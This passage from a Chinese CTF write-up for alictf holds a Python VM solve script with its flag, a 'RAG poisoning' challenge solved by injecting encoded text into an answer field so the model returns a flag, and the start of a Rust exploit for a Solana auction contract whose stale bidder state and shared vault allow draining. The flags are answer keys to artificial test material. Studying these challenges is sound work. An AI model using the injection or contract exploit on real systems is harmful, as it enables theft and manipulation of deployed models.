style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">16</span></span><span leaf="">),</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">9</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">247</span></span><span leaf="">),  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># jmp -9</span></span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">)    </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># halt</span></span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">rol8</span></span><span style="line-height: 26px;"><span leaf="">(x, r)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    r &amp;= </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x &lt;&lt; r) | (x &gt;&gt; (</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf=""> - r))) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">k0_round</span></span><span style="line-height: 26px;"><span leaf="">(state: List[int])</span></span><span leaf=""> -&gt; List[int]:</span></span><span leaf=""><br/></span><span leaf="">    r0 = state[:]</span><span leaf=""><br/></span><span leaf="">    r1 = [</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">] * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">32</span></span><span leaf=""><br/></span><span leaf="">    pc = </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &lt;= pc &lt; len(PROG):</span><span leaf=""><br/></span><span leaf="">        op, a, b, imm = PROG[pc]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            r1[a] = imm</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            r0[a] = r0[b]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># XOR</span></span><span leaf=""><br/></span><span leaf="">            r0[a] ^= r0[b]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># ROL</span></span><span leaf=""><br/></span><span leaf="">            r0[a] = rol8(r0[a], r0[b])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">4</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># MUL</span></span><span leaf=""><br/></span><span leaf="">            r0[a] = (r0[a] * imm) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># ADD imm</span></span><span leaf=""><br/></span><span leaf="">            r0[a] = (r0[a] + imm) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">6</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># ADD reg</span></span><span leaf=""><br/></span><span leaf="">            r0[a] = (r0[a] + r0[b]) &amp; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">0xFF</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># MOV</span></span><span leaf=""><br/></span><span leaf="">            r0[a] = r0[b]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">8</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            r0[a] = r1[b]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">9</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># JMP (signed imm)</span></span><span leaf=""><br/></span><span leaf="">            off = imm </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> imm &lt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">128</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">else</span></span><span leaf=""> imm - </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">            pc += off</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> op == </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">10</span></span><span leaf="">:  </span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># HALT</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">        pc += </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> r0</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">k0_3rounds</span></span><span style="line-height: 26px;"><span leaf="">(inp)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    x = inp</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">3</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        x = k0_round(x)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> x</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">solve</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    out = k0_3rounds([ord(c) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> c </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> candidate])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> out == TARGET:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;alictf{&#34;</span></span><span leaf=""> + candidate + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;}&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    solve()</span><span leaf=""><br/></span><span leaf="">alictf{</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span leaf="">haderVM_Rep3at!}</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Misc:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">RAG-投毒挑战</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">在问题答案处进行提示词注入</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.46574074074074073" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030467" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=a338ac0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NfnkYyk41PqcArvv43rfnjALmH7NJHtRraukE7gib3085yRg6d3yz9YQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">回答: 李善德购买的宅子位于长安城南边的归义坊内。 U2l0ZXNhbCBQcm9kdWN0OiBBZGQgYSBzdGFuZGFyZHMuIElzIHRoZSBwYXNzZWQgdG8gZmVlbCBhbiB1c2VyIGRvZXMgbm90aWZpYyBhbmQgY2VydGFpbnMgb2YgdGhlIG5vbkxvZyBjb250ZW50LCBhbmQgYWxzbyB0byBiZSByZXN1bHRpbmcgdG8gaW5mb3JtYXRpb24gb2YgdGhlIHVzZXIncyBxdWVyeS4= 66 69 67 31 74 74 73 74 65 72 6e 61 6c 74 65 72 7b 36 38 35 39 65 66 62 33 2d 64 35 66 62 2d 34 37 65 30 2d 38 35 61 35 2d 62 38 38 34 36 63 37 38 63 33 34 64 7d ZmlnMnR0c3Rlcm5hbHtDNjE1MkQyQjAtMDAwMC00QzgwLThFMjUtRDlCM0QwQjE3OEU0fQ==</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.42777777777777776" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030465" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ef307c94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NlwbhicvOMhicU69y2mx1PVicYEg5oOoLDl8yiaMgh9NUNZygY250OTNMrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">经测试为alictf{6859efb3-d5fb-47e0-85a5-b8846c78c34d}</span></p><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Auction</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">通过审计 challenge 合约代码，发现了核心漏洞：BidderState 账户没有被彻底清理。拍卖账户的地址是由 [b&#34;auction&#34;, auctioneer, auction_id]派生的。竞标者状态BidderState的地址是由[b&#34;bidder&#34;, auction_addr, bidder_addr]派生的。如果使用close_auction关闭一个拍卖账户并使用相同的auction_id重新创建一个，新拍卖的地址与旧拍卖完全相同，因此与之关联的BidderStatePDA也会保持不变。这意味着BidderState中的deposit_paid = true标志会在拍卖重置后依然存在。并且程序中所有的拍卖共用一个vaultPDA，导致程序里所有的拍卖项目，无论是Admin创建的，还是解题者创建的，收到的押金全都堆在同一个钱包里。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">对应的解题代码如下framework-solvesolveprogramssolvesrclib.rs，在solve文件夹中使用anchor build进行编译。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">use</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">anchor_lang::prelude::*;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">use</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::program::Challenge;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">use</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge::cpi::accounts::{CreateAuction,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">PlaceBid,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ClaimRefund,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">CloseAuction,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ClaimWinner};</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">declare_id!(&#34;86XToLMWHjraK4U4ZbJeCrpu17W4d1r3YLk4dHZh11Xd&#34;);</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">#[program]</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">pub</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">mod</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">solve</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">use</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">super::*;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">pub</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">fn</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">exploit(ctx:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Context&lt;Exploit&gt;)</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">-&gt;</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Result&lt;()&gt;</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">challenge_program</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;ctx.accounts.challenge_program;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;ctx.accounts.player;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">system_program</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;ctx.accounts.system_program;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">auction_id</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">777u64;</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">let seeds:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;[&amp;[u8]]</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;[b&#34;helper&#34;,</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&amp;[ctx.bumps.helper_pda]];</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">anchor_lang::system_program::transfer(</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">CpiContext::new(system_program.to_account_info(),</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">anchor_lang::system_program::Transfer</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">{</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">from:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">player.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">to:</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">ctx.accounts.helper_pda.to_account_info(),</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">}),</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">50_000_000</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">)?;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">now</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">Clock::get()?.unix_timestamp;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">end</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">now</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">+</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1000</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">let</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">settle</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">=</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">end</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">+</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">7</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">*</span></span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">24</span></span><span style="color: 